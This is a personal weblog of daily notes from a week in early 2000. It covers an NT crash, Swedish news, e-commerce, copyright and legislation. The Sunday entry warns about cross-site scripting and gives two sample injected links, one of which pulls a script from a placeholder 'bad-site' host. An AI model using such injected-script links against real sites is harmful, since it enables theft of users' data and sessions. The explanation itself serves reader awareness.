Leuf Daynotes MM week 05

Daynotes: Week of 31 Jan - 6 Feb, MM

Daily notes and commentary -- Week 05

* Link to: last modified 06 Feb MM at 19:15 GMT+1.

The update-link (above) points to where I last added some text -- I have so far not implemented a current-entry page, nor a day per page, but instead stayed with the week-per-page format.

Associated links:

Write me at: bo@leuf.com -- if private, mark it as such!
Posted mail/discussion, see the WikiForum LeufNet
Occasional thematic articles, see "DisISay" LeufOrg

Earlier weeks, see the Daynotes index.

Monday 31 January

(morning note) Analysts are starting to wonder if the e-commerce sector is headed for a serious shake-out. The most recent ripple in the pond was amazon.com announcing a 150 job cutback. This was the first layoffs since it went online in 1995. Predictably, shares fell sharply (8%), but perhaps more ominous is that since December, amazon stocks are down all of 42%. Investors are apparently growing increasingly impatient with the take-no-profits attitude that amazon has consistently held.

Across the board, e-commerce retailers are down, reporting dismal figures and large job cuts. Well, from what I hear, this was in part due to significant customer disappointments with both delivery capacity and customer care-less during the e-hyped holiday season.

(night update) Well! That was a mixed day. First off, it was windy. Very windy, which does things to my concentration. Then a number of family things to distract. Delivery of a W2Kpro and server release version, thank you kindly (I've been running beta 3 for far too long...).

And finally NT BSOD. I'll detail this last here for future reference, so bear with me (or skip ahead).

Background: I was going to use PartitionMagic 4 to look at the external SCSI that inexplicably dropped out of Windows vision. As I discovered, I never had re-installed PM4 on NT4 after a major NT crash I suffered last summer (22 July). The only working copy was on Win95. Rather than reboot, I installed from the CD.

Ok, that didn't work as expected, because PM did fault and die whenever it tried to write partition data to the SCSI. Weird. After a couple of tries, I gave up, and thought maybe a reboot would help. Ok, I got into kernel and BSOD'd on this:

autochk program not found - skipping AUTOCHK
STOP: c00021a {Fatal System Error} The Session Manager Initialization system process terminated unexpectedly with a status of 0xc000003a (0x00000000 0x00000000).
The system has been shut down.
Restart and set the recovery options in the system control panel or the /CrashDebug system start option.

My, that was helpful. Well, I worried at this bone a while, but restarts did nothing except land me in the same dead-end.

Looking at the system partition (FAT) from Win95 did not make me any more enlightened, since nothing appeared wrong. I found no relevant logs to study either. Rescue disk was out, because this NT incarnation had never been able to create one (diskette too small). In any case, I'm not sure I could have done anything sensible from it.

Ok, next step was to wonder if the installer on CD, which has a repair option, could do anything. Fine, it trundled a long while, loading the setup files, and asked for reboot so it can run its own kernel. Now I saw the expected installer item on the loader menu, and saw the expected installer item on the loader menu, and saw the expected installer item on the loader menu, and saw...

WTF? The loader was looping endlessly back to the menu. I rebooted a couple of times, but that was it. After a long series of loops, I managed to read the single quickly flashed line between menu screens:

Boot loader signature AA65 not found (786C found)

Now what? I redid the install a few times, but each time, I got stuck at the endlessly looping menu. This was getting ridiculous, and rather worrying. I could not repair or re-install from CD.

Would I need to wipe both C and D, and then re-install everything on the system from scratch? All my data seemed safe enough on the other partitions, but at the very least, this was looking to consume the rest of the day. I took time off to run some errands and mull options.

Later I got back to the system a few times, but nothing significant suggested itself. I manually ripped out the install files and restored the original BOOT.INI. And quite by accident, I let a reboot into Win95 go by the menu default, so that I instead came up in NT boot. Oops. But strangely, no BSOD. I came up into login, and then desktop. Things were not normal however, since numerous alerts came up and several startup programs stalled. The most serious was that I was warned that there was no swap file defined (my main NT swap was on dedicated F)..

Twiddling with this consumed more time -- several reboots all ended up the same, but at least I was no longer looping in the boot menu. Clueless maybe, but progress of sorts. I did determine that I had only C and D visible to NT -- Now THAT was worrying, because most of my apps and all my data reside on E, G etc. But it did explain where all those alerts were coming from.

In due time, I figured out that I had to go into the drive manager and reinstate the drive letters for the invisible, but thankfully still present partitions above D. A final reboot at close to midnight to see that the system was back. Phew!

I don't know what happened, and I don't know what resolved the loop problem or messed up the drive letters, but I do know I was very happy to get back the working system. That's quite enough Windows for today, is my considered opinion.

Ok, now that's been written, and you know how I spent the day. Back to serious matters <g>, like sleep. Good night all.

Tuesday 1 February

My system started up normally this morning, so I must have somehow got things back together again last night. I can only note that fixing things in Windows does not necessarily make you any wiser. Gary Berg had some feedback on drive handling in Windows, see the wiki page.

Gray and rainy. Not terribly inspiring, and daughter is home sick so I need to multitask more than I feel up to.

Wednesday 2 February

Today's quoted wisdom...

... they put food on my table and pay for my lifestyle, but you can only stand so much of a bad thing before no amount of money can make up for it. -- C W-J

Various items in passing...

The world's largest and smelliest flower has borne fruit. The seeds produced by the "corpse flower" at the Huntington Botanical Gardens, California, are believed to be the first produced by self-pollination. The "flower" was last year (August I think) featured in a special photo report by Jerry Pournelle.
I tried to register myself on a customer self-help site this morning. This sort of DIY support-over-the-web thing is gradually taking over traditional customer care -- in fact, often the traditional channels are being closed even before the self-help is fully up to speed. The registration proved problematic, because it was supposed to be over a secure connection (https) and the server sent a handful of secure certificates. Unfortunately, over half of these had expired back in October and November 1999. I don't know if that was the reason or not, but the entire process stalled at form submission. Still baby steps, guys, not prime time.
The Swedish currency is under some pressure at the moment, by speculators they say. Good times for US visitors, who get many more Crowns for their dollars. The last time we had such a high dollar was back in the early 80s after two successive devaluations.

Much to write, little time to do it. I can hardly credit that we're into February. We'll have to see if the kids are in school tomorrow.

Thursday 3 February

Sorry, but this update for ~~today~~ yesterday (past midnight) will be short. (Seems this is the new trend for many of the daynoters.)

wazzamatter, cat eat your mouse<q

First, I don't use a mouse, you lazy cat. Second, get out of the way with your penciltip trying to type while I'm updating!

Little of import to report, as I was in my few moments of focus looking at the accounts for 1999. Cooking the books, some call it <g>. The more fine-mannered call it creative accounting. Me, I just enter the numbers as they come. No big deal. For once I intend doing all the sums ahead of deadline.

NT system still ticking along, so I must have somehow cleared up that problem I reported earlier this week.

Friday 4 February

I figure the mating season for Japanese cars must have started. Seems the simplest reason to explain why there were so many tailgaters this morning. And I mean tailgating -- one after another sniffing like dogs right up to my exhaust pipe as I drove Edward to school. In fact some of these small cars were so close that usually the only indication I had was there was the reflected headlight glare on the back window. Since we drive a VW Coach minibus, smaller cars are so much lower that they can disappear in that rear blind zone if they are close enough. Sheesh... Even a light tap on the brake pedal didn't much discourage the drivers from being that close. Oh well, our car wasn't in heat, so eventually each tailgater zoomed off after better prospects.

Local news, the Swedish way...

Senior citizens furious at banks -- experience increasing rudeness and disrespect, feel dismissed when they visit branch offices. Offices become fewer and further away, ATMs disappear, and few seniors can use the new Internet services. In any case, "why should I have to do more myself and pay more to do so?" ask many. With fewer open offices, the queues become ridiculously long, and customers can get turned away for seemingly trivial reasons.
Couple refuses drug tests, denied proper home. Homeless for over a year, and having moved from a tarp and cardboard "home" to a moldy wreck of a caravan for the winter, the couple have refused to comply with what they feel are arbitrary and changing welfare office requirements in order to be helped get a proper apartment after a time apart in respective shelters. Shelters do not admit couples, and they have to submit to drug testing. Part of the couple's hostility arises from the fact that the woman had her infant daughter taken from her 8 years ago. Locals and neighbors have assisted in various ways, despite harassment.
Shopkeeper mother and daughter insulted and harassed by tourists for refusing to provide change for parking meters or to change between Swedish and Danish currencies. It should be noted that their shop is only a few steps away from a (still open) Post Office that provides both services.
Not clear that bill to promote public sale of Swedish telco shares will pass. No political majority for the change that would give sitting government free hands to sell without time-consuming approvals in Parliament. The failed Swedish-Norwegian telco fusion seems to have damped the pols' enthusiasm for telco business.
Absurd freight. The relative costs of road freight have dropped so low due to deregulation and cutthroat competition that absurd examples of goods transport abound these days. EU subsidies abuse is often implicated as well.
For example, frozen pizzas are regularly trucked from England to Sweden. The same trucks return to England with loads of identical pizzas, but with a later "best before" date. The exchange is profitable because of the poor freezer warehouse capacity in England. Dough is trucked to Swedish bakeries from France and Portugal. The "fresh bread" in the shops often has long transport before it gets there -- it's rarely baked locally any more. Belgian freighters take crabs to Poland for cleaning and packaging and then take them back. Swedish firms ship shrimp to and from Morocco for processing. Germans ship lemons from Spain to Greece, and then from Greece to Germany, because "Greek" lemons can sell at a higher price.
It's also estimated that one transport in four on Swedish roads is in fact running empty. Part of this development has come about by just-in-time manufacturing and to-door deliveries, since rail transport has been unable and unwilling to meet the new requirements.
Newsweek calls Sweden the most wired and wireless nation in Europe. (Feb 7 issue). Apparently e-business sees Sweden as an important portal into the rest of Europe and this is fueling a remarkable spate of IT start-ups. The flux is high and IT stock volatile. We'll see how long that lasts. Stockholm's a nice place to visit (in the summer), but I wouldn't want to live there.

Silicon Valley defined: if you stay put long enough to have business cards that aren't at least slightly out of date, then you're not a player.

I've (again) been reading some recent material about Internet domains and trademark issues. The whole issue clearly became infected when the "cybersquatters", who registering hundreds or even thousands of domains, tried selling them for vastly inflated prices to companies that were slow to realize that they ought to have brandname domains for their Internet presence. Given this, it's perhaps not too surprising that companies play legal hardball when it comes to securing what they rightly or wrongly feel is "their trademark". Sadly, it is as usual the innocent third parties that suffer for it.

Unfare, n. The dollar you owe a cab driver before you've even moved a foot.
Rohrshirt, n. A shirt with an inkstain in the pocket.
Yotate, v. To allow a yo-yo to unwind itself.
-- sniglets by Rich Hall

Need something new to worry about?

Geologists say there is a real risk that sooner or later a "supervolcano" will erupt with devastating force, sending temperatures plunging on a hemispheric or even global scale. When a supervolcano goes off, it is an order of magnitude greater than a normal eruption. It produces energy equivalent to an impact with a comet or an asteroid.
Supervolcanoes are usually not mountains but depressions, huge collapsed craters (calderas), which are hard to detect. Many are thought to lie along subduction zones, where the Earth's plates are dipping below one another. The Pacific Rim and southeast Asia are especially vulnerable.
One such supervolcano, at Yellowstone national park in the US, is overdue for an eruption. Yellowstone has gone off roughly once every 600,000 years, the last eruption about 640,000 years ago. The Yellowstone caldera is 70 kilometers long and 30 km wide, with a huge magma chamber 8 km beneath the Earth's surface. Ground surface deformation and other signs measured by satellite suggest it's still active, and on the move.
Another caldera is in the Phlegraean Fields near Naples in southern Italy. It is similar to Yellowstone, but smaller.

So who said life was safe? But clearly, there are ample hints that the long term future of our civilization depends on not keeping all our gene pool and knowledge base in the same basket, i.e. Earth. I suppose a good case could be made for the condition that in general successful civilizations must pass a number of development thresholds fast enough so that random (or periodic) planetary catastrophes don't finish them off first.

Hmm, my primary ISP connectivity has been dying on the 3rd outbound hop on and off during part of the day. Good thing I kept a backup dial-up account alive -- no problems there. It's slightly slower, but not by much.

(Journalism) is intrinsically unfair. Into the monstrous citadel of central government, the press can do no more than lob an occasional severed head or putrid carcass. -- Simon Jenkins, the Sunday Times (UK).

Saturday 5 February

(There were things added last night, but I went into hibernate mode before I posted... thus the seemingly malplaced update anchor for today.)

Anyway, on the subject of piracy, it's perfectly true that (as with smuggling), the best and pretty much only way to prevent it is to make it not worth the effort. And the best way to do that is to ensure that the original commodity is so cheap and easy to get that copying or smuggling is more expensive and more of a bother than simply buying. Copying should in any case be freely possible for personal backups and such.

So why isn't this already the case? For the most part I would guess that it is because the big companies are still applying the old physical copy paradigm to information age commodities. As has been pointed out many times before with regards to e-books and copyright, the current paradigm is based on mass-produced printed copy strongly tied to revenue per copy. Xerox almost, but not quite displaced this paradigm by offering cheap and good quality copying. Even so, there was ample misuse of physical-copy accounting by resellers, e.g. bookshop returns of book or magazine covers of "unsold copies), while in fact selling the actual book copies as "damaged".

Once we have a good, ubiquitous, and transparent micropayment system in place on the Internet, things will change. The new paradigm will be impossible to resist. In fact we see indications that the big companies are aware of this and are in various ways trying to find or create places for themselves, however artificial, as proprietary content providers/resellers.

... the Internet is commoditizing information and forcing information providers into a service role. ... the currently dominant players in the act of being displaced are kind of unhappy about it. -- Rob Landley (Rule Maker Portfolio, fool.com)

The legal contortions applied to information commoditization are remarkable, entertaining, and occasionally scary when they hurt people. Some of the current issues:

domain name rights -- established use vs later trademark
legality of (deep)linking to other website content
"fair-use" quoting of proprietary material
"shrink-wrap licensing" -- i.e. opening this sealed xxx implies acceptance of all contract items (in absurd cases specified only inside the package)
"contract-o-matic" licensing -- i.e. click to accept and thus allow software to install/run

Shades of Mission Impossible...

SpectraDisc, in Providence, Rhode Island, is working on self-destructing DVD disks. A special material is used to coat the disks, and when you start to play them, the laser light exposure causes this material to begin to turn blue, eventually blocking the player's ability to read the disk. Research is fine-tuning this to allow viewing content a pre-determined time (hours to days). The coating technology could be applied to other optical discs, e.g. music CDs, Sony discs and CD-ROMs. I am sure someone will figure out a way around this if it begins to be used. As it happens, even the proposed resellers of such a scheme seem less than thrilled at "throwaway disks". There are also environmental aspects not yet addressed.

And finally, the issue about unauthorized transfer of fire. It's short but to the point.

Sunday 6 February

* Helpful advice...(haha, do I detect wishful thinking?)

Microsoft has anticipated that some might want to remove Linux at some time. Here are some step-by-step instructions, courtesy MS Tech Services.

Uniform Computer Transactions Act (UCITA). The software industry is leveraging its favored status among lawmakers to push US state legislation that cuts consumer and business customer rights. The proposed bills would:

allow software firms to remotely turn off programs in customers' systems if the customer was late on lease payments or other fees.
give email the weight of a formal legal notice without proof that the customer received the message.
allow software makers to use nondisclosure clauses in software packages to prevent the publication of product reviews.
consider software sales as licensing agreements, which would enable vendors to prohibit the future sale or donation of their products.

Wicked new terms indeed, and if passed in many states, this may be yet another factor that will ultimately push many users into Linux and open source.

Web Users Should Not Engage in Promiscuous Browsing

This heading is apropos the "malicious script" and "poisoned cookie" threat. Sound obscure? A couple of simple examples of links that pose a threat are:

<A HREF="http://example.com/comment.cgi?mycomment= <SCRIPT>malicious code</SCRIPT>">Click here</A>
<A HREF="http://example.com/comment.cgi?mycomment= <SCRIPT SRC='http://bad-site/badfile'></SCRIPT>">Click here</A>

In either case, the user only sees "Click here" as a link anchor. Both assume that the user's browser will run scripts. The first example runs the inserted script code in whatever context the user establishes with the server. The second pulls in extra material from an untrusted site.

Links like this can appear in email, newsgroup or website contexts that look perfectly innocent, and point to otherwise trusted sites. Unless you see the source, you have no way of knowing that the link itself is carrying the malicious code.

Because the malicious scripts are executed in a context that appears to have originated from the targeted site, the attacker has full access to the document retrieved (depending on the technology chosen by the attacker), and may send data contained in the page back to their site. Additionally, a hacker can trick a server program to execute in an inappropriate security context with inappropriate privileges.

Especially vulnerable are web forms, which through embedded form tags can be subverted even when scripts are disabled.

More info here (safe link, I promise).

Local Swedish news...

Municipal housing company declares record profit. Interesting since the municipal housing companies were once founded to provide cheap, basic housing for the working class. So it goes...
Swedish PM says the Swedish left must deal with its pro-communist past. "Sickening," he characterized it. Voices in radio phone-in were saying that Stalin was much worse than Hitler. This is hot news? Coming so soon after the Holocaust conference in Stockholm and digging into the social democratic pro-Nazi past, I sense a kind of diversionary effort here.
Sweden issues formal apology to Austria because of attempted arson attack on Austrian ~~embassy in Stockholm~~ consulate in Malmö. (My first source was incorrect.)
Regional consultancy fees for 22 million Swedish crowns. County authorities are being audited to find out what all these millions actually bought. At a guess, very little.
Rail chaos looms for Öresund bridge/tunnel link's 1 July traffic inauguration. German-US Adtranz has notified of delivery delays of several months for the new trains. The 29 trains were specially ordered to comply with both Swedish and Danish rail standards (power and signalling). A partial and temporary solution is to reassign some other Swedish and Danish commuter trains (with less capacity) to the cross-sound traffic. However, since these are diesel driven, the 3 km tunnel on the Danish side could quickly become rather unpleasant. Ventilation was after all designed with electrically driven trains in mind, not diesel engines every 20 minutes in either direction.
Websites hacked. Front pages destroyed for Swedish health and welfare authority and a municipal site. Operational staff immediately took down the respective server once the attack was discovered.
Internet consultants lose clients. A couple of "haused" IT firms in Stockholm are reported to have lost large and important clients the past year. A major reason for the clients to decide to develop their own in-house web solutions is said to be that they got tired of the chronic delays and high costs. The trend is that companies want to regain control of their own site development and therefore hire traditional computer consultants for in-house development projects.

Have a good weekend people. Thanks for your email.

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